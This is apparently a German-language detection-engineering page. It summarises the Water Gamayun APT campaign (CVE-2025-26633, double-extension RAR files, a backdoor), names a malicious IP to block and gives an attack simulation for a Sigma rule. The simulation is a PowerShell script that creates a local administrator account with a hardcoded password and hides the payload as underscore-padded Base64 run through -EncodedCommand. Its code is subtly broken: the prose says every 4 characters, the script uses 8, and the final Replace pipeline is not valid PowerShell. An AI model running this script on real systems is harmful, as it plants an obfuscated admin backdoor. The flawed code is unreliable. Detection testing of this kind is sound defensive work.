Jagd auf Bedrohungen mit Zscaler deckt und rekonstruiert die Water Gamayun APT-Kampagne auf

Zusammenfassung

Der Bericht behandelt einen mehrstufigen Einbruch, der der Water Gamayun APT-Gruppe zugeschrieben wird. Diese nutzt eine Zero-Day-MMC-Schwachstelle (CVE-2025-26633) aus, um PowerShell-Nutzlasten in einem doppelten RAR-Archiv zu liefern.

Untersuchung

Zscaler rekonstruierte die Kill Chain von einem Bing-Redirect zu einer kompromittierten Website, dem Herunterladen einer .pdf.rar-Datei, der Ausnutzung von MSC EvilTwin, gestellten PowerShell-Skripten und der Ausführung der ItunesC.exe-Hintertür.

Minderung

Die Anleitung umfasst das Überwachen von doppelten Erweiterungsarchiven, das Überprüfen von Weiterleitungen, das Erkennen von kodierten PowerShell-Befehlen und das Blockieren der bösartigen IP und Domains.

Reaktion

Bei Erkennung Alarm auslösen bei mmc.exe, das PowerShell mit -EncodedCommand ausführt, Datei isolieren, ausgehende Verbindungen zu 103.246.147.17 blockieren und Vorfallreaktionsprozeduren aktivieren.

Simulationsausführung

Voraussetzung: Der Telemetrie- & Basisflugcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der vom Gegner angewendeten Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die die Erkennungslogik erwartet. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffserzählung & Befehle:
  Der Angreifer, der auf die Methodik von Water Gamayun zurückgreift, bereitet eine bösartige PowerShell-Nutzlast vor, die einen neuen lokalen Admin-Benutzer erstellt und ihn zur Administratorengruppe hinzufügt. Um die Nutzlast zu verschleiern, führt der Angreifer folgende Schritte aus:

  1. Schreibt das PowerShell-Skript im Klartext.
  2. Kodiert es zu UTF‑16LE Base64.
  3. Fügt nach jeweils 4 Zeichen einen Unterstrich (_) ein, um die Entropie zu erhöhen.
  4. Verkettet eine |Replace('_','')Operation, damit die LaufzeitPowerShell die Unterstriche vor dem Dekodieren entfernt, um das Erkennungssignatur-Match zu erzeugen.

  Der finale Ausführungsbefehl ist:

  powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

  Diese genaue Befehlszeile erfüllt die beiden Bedingungen der Sigma-Regel (-EncodedCommand and |Replace('_','')), und erzeugt Einträge Sysmon EventID 1 und Security EventID 4688, die die Regel markieren wird.

• Regression Test Script:
  Das Skript unten automatisiert die Erstellung der verschleierten Nutzlast und führt sie aus. Es kann auf jedem Windows-Host mit PowerShell 5.1+ ausgeführt werden.

  # Water Gamayun style PowerShell-Verschleierungssimulation
  # Schritt 1: Definiere die bösartige PowerShell-Nutzlast (fügt einen lokalen Admin-Benutzer hinzu)
  $payload = @'
  $user = "tempAdmin"
  $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
  New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
  Add-LocalGroupMember -Group "Administrators" -Member $user
  '@
  
  # Schritt 2: Kodierung zu UTF-16LE und dann Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # Schritt 3: Einspeisung von Unterstrichen alle 8 Zeichen (simulieren des Gruppenmusters)
  $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
  
  # Schritt 4: Ausführen mit der erforderlichen Replace('_','') Pipeline 
  powershell.exe -EncodedCommand $b64Underscored | Replace('_','')

• Bereinigungskommandos:
  Die folgenden Befehle entfernen den Testbenutzer und stellen die Umgebung wieder her.

  # Bereinigung: Entfernen des durch den Test erstellten temporären Admin-Kontos
  $user = "tempAdmin"
  if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
      Remove-LocalUser -Name $user
      Write-Host "Gelöschter Testbenutzer $user."
  } else {
      Write-Host "Testbenutzer $user existiert nicht."
  }